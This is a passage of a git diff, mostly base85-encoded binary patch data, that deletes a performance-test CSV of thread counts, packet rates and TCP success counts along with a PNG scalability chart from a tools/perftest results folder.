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 I8$S8}08?*6XaE2J diff --git a/tools/perftest/results/internal_metrics/precise_results.csv b/tools/perftest/results/internal_metrics/precise_results.csv deleted file mode 100644 index 8498aebc..00000000 --- a/tools/perftest/results/internal_metrics/precise_results.csv +++ /dev/null @@ -1,8 +0,0 @@ -"threads","duration_ms","packets_per_sec","total_packets","tcp_success","tcp_failed","success_rate" -200,29330,43.3,1270,759,511,59.8 -400,18730,67.8,1270,759,511,59.8 -600,15270,83.2,1270,759,511,59.8 -800,13090,97.2,1270,759,511,59.8 -1000,11660,109.0,1270,759,511,59.8 -1500,11500,110.9,1270,759,511,59.8 -2000,11900,106.8,1270,759,511,59.8 diff --git a/tools/perftest/results/internal_metrics/scalability_chart.png b/tools/perftest/results/internal_metrics/scalability_chart.png deleted file mode 100644 index 44a72539f5f094c29e0b3baa3537d0b34c58fc25..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 104094 zcmbrmc{J2-_&-dFXrhu3nJD>0_Uu~{l`Iv;l6@_*@4KwgGD@-&tr&auu`gq%MT}wW zrkF9-nb8>YyQkmt{hssu`J89YQRgu4S?;;->w0b1B;PfF88CT1q4+c&gL zLvrymY#}BtRMri(KVF6SmimEHVntv6^YSH1a!xns(xTT#Ta-9&_)0{rKM{CS7z=sT zLjDv`u@pT+oR7b#ar=j&=hV)D%|zqtm5X9x{kP8t=aWNiY%3;?o&4Wh@#)}YuS+8T zd;5@TcH@6;A2?1|r#$_io9UD5u>Za6mH6F0@&CQ({t*sK-T%4jM#(kd(*L>W=`EiB zoO%BDvf@Jti2uDx#O&SwpC@BNSk-d8*L%@96FhrvoN%x^VMkeSCf>Di9nF6czTU`I z5cT&_Rv?%929sCop6g>wouoTCcsbpCfwBm{=}8{b;hO*b9^OlyjfQTiM$>6Zq-lR+ zLBBrX*1B7cX5}czs7InWBix_2;~AVzRk4 zC~dx~39b)bT3${MZ+ZRt)SI_&VXK;8K|XlhV=U8sR10;zS$U(K<=Z=L7VfjT0pD*| 